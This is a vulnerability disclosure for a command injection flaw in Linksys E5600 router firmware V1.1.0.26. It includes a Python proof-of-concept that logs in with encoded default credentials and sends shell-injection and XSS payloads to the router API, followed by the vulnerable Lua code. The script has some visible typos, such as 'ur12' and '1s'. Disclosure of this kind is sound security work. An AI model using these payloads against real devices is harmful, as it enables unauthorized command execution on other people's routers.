

# Linksys E5600 V1.1.0.26 command injection

## Product Information

```
1 Device: Linksys E5600
2 Firmware Version: V1.1.0.26
3 Manufacturer's website information: https://www.linksys.com/
4 Firmware download address :
  https://downloads.linksys.com/support/assets/firmware/FW_E5600_1.1.0.26_prod.
  img
```

## E5600 Downloads, Documents, and User Guide

### E5600 Downloads

The hardware version is located beside or beneath the model number and is labeled version, ver. or V. If there is no version number beside the model number on your Linksys product, the device is version 1. If you still have trouble finding your version number, see the [complete article](#) to learn more.

Select your hardware version:

▼ Version 1.0

Firmware

Ver. 1.1.0.26

Latest Date: 12/20/2021

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[Release Notes](#)

## Affected component

Affected \usr\share\lua\runtime.lua, affected runtime.InternetConnection function

## Attack vector

```
1 import requests
2 import json
3
4 url1 = 'http://192.168.31.6/cgi-bin/login.cgi'
5 data1 =
  {"username":"YWRtaW4%3D","password":"MTIzNDU2","token":"","source":"web","cn
  ":"","action":"auth"}
6
7 response1 = requests.post(url1, data=json.dumps(data1))
8 print(response1.text)
9
10 url2 = 'http://192.168.31.6/API/obj'
11 headers = {
```

```

12     'Host': '192.168.31.6',
13     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',
14     'Content-Type': 'application/json',
15     'Origin': 'http://192.168.31.6',
16     'Referer': 'http://192.168.31.6/idp/idp_ping.html',
17     'Cookie': response1.headers['Set-Cookie'].split(" ")[0],
18 }
19 data2 = {"staticip":{"StaticipP":
{"ip":"0.0.0.0","netmask":"0.0.0.0","gateway":"0.0.0.0","dns1":"0.0.0.0","dn
s2":"0.0.0.0","dns3":"0.0.0.0","mtuMode":"0","mtu":"1500"}}, "wan":{"wanP":
{"name":"wan","hostname":"alert('XSS')","iframe":"","ls >/www/20250327.txt ;
#","proto":"0","domainName":"|ping -c 1 192.168.31.166|"}}}
20
21 response = requests.post(ur12, headers=headers, data=json.dumps(data2))
22 print(response.text)
23
24 ur13 = 'http://192.168.31.6/API/info'
25 data3 = {
26     "InternetConnection": {}
27 }
28 response = requests.post(ur13, headers=headers, data=json.dumps(data3))
29 print(response.text)

```

## Suggested description of the vulnerability

Linksys E5600 v1.1.0.26 was discovered to contain a command injection vulnerability in the runtime.InternetConnection function.

## Vulnerability Detail

The **source point** resides in the `iframe` parameter of the `wan` function located at `/API/obj`. When this parameter is injected into the `ls` command, accessing the `runtime.InternetConnection` function will trigger the program to automatically invoke the `getLan` function, which subsequently calls the `getVlan` function. This chain of execution ultimately leads to the exploitation of a **command injection vulnerability**.

```

1176 function runtime.InternetConnection(arg)
1177     local r = {}
1178     local v = {}
1179     local jrt = {}
1180
1181     r=runtime.getLan('wan', 'v4')
1182     v["IPv4"] = r
1183
1184     r=runtime.getLan('wan', 'v6')
1185     v["IPv6"] = r
1186     jrt["InternetConnection"] = v
1187
1188     return json.encode(jrt)
1189 end

```

```

1113 function runtime.getLan(objName, ver)
1114     local cmd
1115     local r
1116     local str
1117     local rt
1118
1119     if objName == 'wan' then
1120         cmd = 'objReq '..objName..' json'
1121         r = (io.popen(cmd, 'r'))
1122         str = assert(r:read('*a'))
1123         rt = json.decode(str)
1124         r:close()
1125
1126         -- bridge
1127         if rt.WanP.proto == '5' then
1128             ret = runtime.getWanProtoStatus('bridge', ver)
1129             -- wifi bridge/wlanBridge
1130         elseif rt.WanP.proto == '6' then
1131             ret = runtime.getWanProtoStatus('wlanBridge', ver)
1132             -- pppoe
1133         elseif rt.WanP.proto == '2' then
1134             ret = runtime.getWanProtoStatus('pppoe', ver)
1135             -- l2tp
1136         elseif rt.WanP.proto == '3' then
1137             ret = runtime.getWanProtoStatus('l2tp', ver)
1138             -- pptp
1139         elseif rt.WanP.proto == '4' then
1140             ret = runtime.getWanProtoStatus('pptp', ver)
1141         else
1142             cmd = 'objReq wlanEnable json'
1143             r = assert(io.popen(cmd, 'r'))
1144             str = assert(r:read('*a'))
1145             rt = json.decode(str)
1146             r:close()
1147
1148             if rt.VlanEnableP.vlanEnable == '1' and ver == 'v4' then
1149                 cmd = 'uci get network.wan.ifname'
1150                 r = assert(io.popen(cmd, 'r'))
1151                 str = assert(r:read('*a'))
1152                 r:close()
1153                 ret = runtime.getVlan(string.gsub(str, "\n", ""))
1154             else
1155                 cmd = 'objReq wan json'
1156                 r = assert(io.popen(cmd, 'r'))
1157                 str = assert(r:read('*a'))
1158                 rt = json.decode(str)
1159                 r:close()
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```

The vulnerability was verified by injecting the command `1s >/www/20250327.txt` into the `ifname` parameter, as shown in the figure below. The result of the `1s` command was successfully displayed in the `20250327.txt` file located in the router's `www` directory.

